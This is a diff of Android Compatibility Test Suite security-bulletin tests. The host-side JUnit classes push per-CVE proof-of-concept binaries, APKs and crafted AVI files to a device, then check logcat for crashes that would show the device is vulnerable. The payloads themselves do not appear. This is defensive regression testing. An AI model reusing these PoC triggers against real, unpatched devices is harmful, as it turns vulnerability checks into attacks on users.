 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2018_9593 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/116722267
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 116722267)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2018_9593() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9593", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
similarity index 69%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
index b0f19ad..d6e8fb5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
@@ -1,4 +1,4 @@
-/*
+/**
  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -20,18 +20,19 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2018_9594 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/116791157
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 116791157)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2018_9594() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9594", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
similarity index 62%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
index b0f19ad..223e768 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
@@ -17,21 +17,25 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+import android.platform.test.annotations.SecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2019_2178 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/124462242
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 124462242)
+    @SecurityTest(minPatchLevel = "2019-09")
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2019_2178() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2178", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
index 6133a87..7c00d84 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
@@ -32,6 +32,7 @@
     @AsbSecurityTest(cveBugId = 147310271)
     public void testPocCVE_2020_0072() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2020-0072", getDevice());
         testConfig.checkCrash = false;
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
similarity index 67%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
index b0f19ad..bff13f3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java
@@ -17,21 +17,22 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+import android.platform.test.annotations.SecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2020_0420 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/162383705
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 162383705)
+    @SecurityTest(minPatchLevel = "2020-10")
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2020_0420() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0420", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
similarity index 85%
rename from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
rename to hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
index b0f19ad..43a058c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
@@ -23,7 +23,7 @@
 import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2020_29368 extends SecurityTestCase {
 
    /**
      * b/174738029
@@ -31,7 +31,7 @@
      */
     @AsbSecurityTest(cveBugId = 174738029)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2020_29368() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
index 80de289..db50504 100755
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
@@ -30,7 +30,7 @@
      *
      */
     @Test
-    @AsbSecurityTest(cveBugId = 175451767)
+    @AsbSecurityTest(cveBugId = 175451802)
     public void testPocCVE_2020_29661() throws Exception {
         AdbUtils.runPocNoOutput("CVE-2020-29661", getDevice(),60);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java
new file mode 100644
index 0000000..a3b1eae
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java
@@ -0,0 +1,71 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0478 extends SecurityTestCase {
+
+    /**
+     * b/169255797
+     */
+    @AsbSecurityTest(cveBugId = 169255797)
+    @SecurityTest(minPatchLevel = "2021-06")
+    @Test
+    public void testPocCVE_2021_0478() throws Exception {
+        final int SLEEP_INTERVAL_MILLISEC = 30 * 1000;
+        String apkName = "CVE-2021-0478.apk";
+        String appPath = AdbUtils.TMP_PATH + apkName;
+        String packageName = "android.security.cts.cve_2021_0478";
+        String crashPattern = "Canvas: trying to draw too large";
+        ITestDevice device = getDevice();
+
+        try {
+            /* Push the app to /data/local/tmp */
+            pocPusher.appendBitness(false);
+            pocPusher.pushFile(apkName, appPath);
+
+            /* Wake up the screen */
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            /* Install the application */
+            AdbUtils.runCommandLine("pm install " + appPath, device);
+
+            /* Start the application */
+            AdbUtils.runCommandLine("am start -n " + packageName + "/.PocActivity", getDevice());
+            Thread.sleep(SLEEP_INTERVAL_MILLISEC);
+        } catch (Exception e) {
+            e.printStackTrace();
+        } finally {
+            /* Un-install the app after the test */
+            AdbUtils.runCommandLine("pm uninstall " + packageName, device);
+
+            /* Check if System UI has crashed thereby indicating the presence */
+            /* of the vulnerability */
+            String logcat = AdbUtils.runCommandLine("logcat -d *:S AndroidRuntime:E", device);
+            assertNotMatches(crashPattern, logcat);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
index 81e559a..e5e6810 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
@@ -72,9 +72,18 @@
         installPackage();
 
         //ensure the screen is woken up.
-        //(we need to do this twice. once wakes up the screen, and another unlocks the lock screen)
+        //KEYCODE_WAKEUP wakes up the screen
+        //KEYCODE_MENU called twice unlocks the screen (if locked)
+        //Note: (applies to Android 12 only):
+        //      KEYCODE_MENU called less than twice doesnot unlock the screen
+        //      no matter how many times KEYCODE_HOME is called.
+        //      This is likely a timing issue which has to be investigated further
         getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
+        getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
+        getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
+
+        //run the test
         Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp"));
 
         //Check if TEST_FILE_NAME has been copied by "Evil activity"
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
new file mode 100644
index 0000000..52e2a3a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0586 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0586.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    /**
+     * b/182584940
+     */
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 182584940)
+    @Test
+    public void testPocCVE_2021_0586() throws Exception {
+        installPackage(TEST_APP);
+        AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+                getDevice());
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testClick"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
new file mode 100644
index 0000000..0c8f0a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
@@ -0,0 +1,83 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.platform.test.annotations.RequiresDevice;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import java.util.regex.Pattern;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.hamcrest.core.Is.is;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assume.assumeTrue;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0591 extends BaseHostJUnit4Test {
+
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_0591";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0591.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    /**
+     * b/179386960
+     */
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 179386960)
+    @Test
+    public void testPocCVE_2021_0591() throws Exception {
+        ITestDevice device = getDevice();
+
+        assumeTrue("Bluetooth is not available on device",
+                device.hasFeature("android.hardware.bluetooth"));
+
+        /* Clear the logs in the beginning */
+        AdbUtils.runCommandLine("logcat -c", device);
+        installPackage();
+        try {
+            runDeviceTests(TEST_PKG, TEST_CLASS, "testClick");
+        } catch (AssertionError error) {
+            /* runDeviceTests crashed, do not continue */
+            error.printStackTrace();
+            return;
+        }
+        String screenshotServiceErrorReceiver =
+                "com.android.systemui.screenshot.ScreenshotServiceErrorReceiver";
+        String logcat =
+                AdbUtils.runCommandLine("logcat -d BluetoothPermissionActivity *:S", device);
+        Pattern pattern = Pattern.compile(screenshotServiceErrorReceiver, Pattern.MULTILINE);
+        String message = "Device is vulnerable to b/179386960 "
+                + "hence it is possible to sent a broadcast intent to "
+                + screenshotServiceErrorReceiver;
+        assertThat(message, pattern.matcher(logcat).find(), is(false));
+    }
+
+    private void installPackage() throws Exception {
+        installPackage(TEST_APP, new String[0]);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
similarity index 69%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
index b0f19ad..0562b49 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0596.java
@@ -18,20 +18,21 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
+import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2021_0596 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/181346550
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 181346550)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2021_0596() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0596", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
new file mode 100644
index 0000000..d4bbfb3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0636 extends SecurityTestCase {
+
+    public void testPocCVE_2021_0636(String mediaFileName) throws Exception {
+        /*
+         * Non StageFright test.
+         */
+        AdbUtils.pushResource(
+                "/" + mediaFileName, "/sdcard/" + mediaFileName, getDevice());
+        AdbUtils.runCommandLine("logcat -c", getDevice());
+        AdbUtils.runCommandLine(
+                "am start -a android.intent.action.VIEW -t video/avi -d file:///sdcard/"
+                    + mediaFileName, getDevice());
+        Thread.sleep(4000); // Delay to run the media file and capture output in logcat
+        AdbUtils.runCommandLine("rm -rf /sdcard/" + mediaFileName, getDevice());
+        AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 189392423)
+    public void testPocCVE_2021_0636() throws Exception {
+        testPocCVE_2021_0636("cve_2021_0636_1.avi");
+        testPocCVE_2021_0636("cve_2021_0636_2.avi");
+        testPocCVE_2021_0636("cve_2021_0636_3.avi");
+        testPocCVE_2021_0636("cve_2021_0636_4.avi");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
similarity index 73%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
index b0f19ad..4df0f6f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
@@ -1,4 +1,4 @@
-/*
+/**
  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -17,21 +17,20 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2021_0684 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/179839665
+     * Vulnerability Behaviour: SIGSEGV in Self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 179839665)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2021_0684() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index d643084..0353c3d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -47,6 +47,7 @@
 
 import static org.junit.Assert.*;
 import static org.junit.Assume.*;
+import static org.hamcrest.core.Is.is;
 
 public class SecurityTestCase extends BaseHostJUnit4Test {
 
@@ -226,9 +227,17 @@
     }
 
     /**
-     * Check if a driver is present on a machine.
+     * Check if a driver is present and readable.
      */
     protected boolean containsDriver(ITestDevice device, String driver) throws Exception {
+        return containsDriver(device, driver, true);
+    }
+
+    /**
+     * Check if a driver is present on a machine.
+     */
+    protected boolean containsDriver(ITestDevice device, String driver, boolean checkReadable)
+            throws Exception {
         boolean containsDriver = false;
         if (driver.contains("*")) {
             // -A  list all files but . and ..
@@ -239,11 +248,15 @@
             if (AdbUtils.runCommandGetExitCode(ls, device) == 0) {
                 String[] expanded = device.executeShellCommand(ls).split("\\R");
                 for (String expandedDriver : expanded) {
-                    containsDriver |= containsDriver(device, expandedDriver);
+                    containsDriver |= containsDriver(device, expandedDriver, checkReadable);
                 }
             }
         } else {
-            containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
+            if(checkReadable) {
+                containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
+            } else {
+                containsDriver = AdbUtils.runCommandGetExitCode("test -e " + driver, device) == 0;
+            }
         }
 
         MetricsReportLog reportLog = buildMetricsReportLog(getDevice());
@@ -322,4 +335,28 @@
     boolean moduleIsPlayManaged(String modulePackageName) throws Exception {
         return mainlineModuleDetector.getPlayManagedModules().contains(modulePackageName);
     }
+
+    public void assumeIsSupportedNfcDevice(ITestDevice device) throws Exception {
+        String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*",
+                                      "/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*",
+                                      "/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*",
+                                      "/dev/st54j*" };
+        boolean isDriverFound = false;
+        for(String supportedDriver : supportedDrivers) {
+            if(containsDriver(device, supportedDriver, false)) {
+                isDriverFound = true;
+                break;
+            }
+        }
+        String[] output = device.executeShellCommand("ls -la /dev | grep nfc").split("\\n");
+        String nfcDevice = null;
+        for (String line : output) {
+            if(line.contains("nfc")) {
+                String text[] = line.split("\\s+");
+                nfcDevice = text[text.length - 1];
+            }
+        }
+        assumeTrue("NFC device " + nfcDevice + " is not supported. Hence skipping the test",
+                   isDriverFound);
+    }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-183963253/Android.bp
new file mode 100644
index 0000000..f846854
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "BUG-183963253",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.appcompat_appcompat",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-183963253/AndroidManifest.xml
new file mode 100644
index 0000000..148fc7e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/AndroidManifest.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.BUG_183963253"
+    android:targetSandboxVersion="2">
+
+  <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
+  <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+  <application android:theme="@style/Theme.AppCompat.Light">
+    <uses-library android:name="android.test.runner" />
+    <service android:name=".OverlayService"
+        android:enabled="true"
+        android:exported="false" />
+
+    <activity
+        android:name=".MainActivity"
+        android:label="ST (Permission)"
+        android:exported="true"
+        android:taskAffinity="android.security.cts.BUG_183963253.MainActivity">
+
+      <intent-filter>
+        <action android:name="android.intent.action.MAIN" />
+        <category android:name="android.intent.category.LAUNCHER" />
+      </intent-filter>
+    </activity>
+
+  </application>
+
+  <instrumentation
+      android:name="androidx.test.runner.AndroidJUnitRunner"
+      android:targetPackage="android.security.cts.BUG_183963253" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/layout/activity_main.xml
new file mode 100644
index 0000000..0ac0cf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<RelativeLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:gravity="left"
+    tools:context=".MainActivity" >
+
+  <LinearLayout
+      android:id="@+id/linearLayout1"
+      android:layout_width="fill_parent"
+      android:layout_height="wrap_content"
+      android:layout_below="@+id/seekShowTimes"
+      android:layout_centerHorizontal="true"
+      android:layout_marginTop="53dp"
+      android:orientation="horizontal" >
+
+    <Button
+        android:id="@+id/btnStart"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Start" />
+
+  </LinearLayout>
+
+</RelativeLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/values/strings.xml
new file mode 100644
index 0000000..c363545
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/values/strings.xml
@@ -0,0 +1,21 @@
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
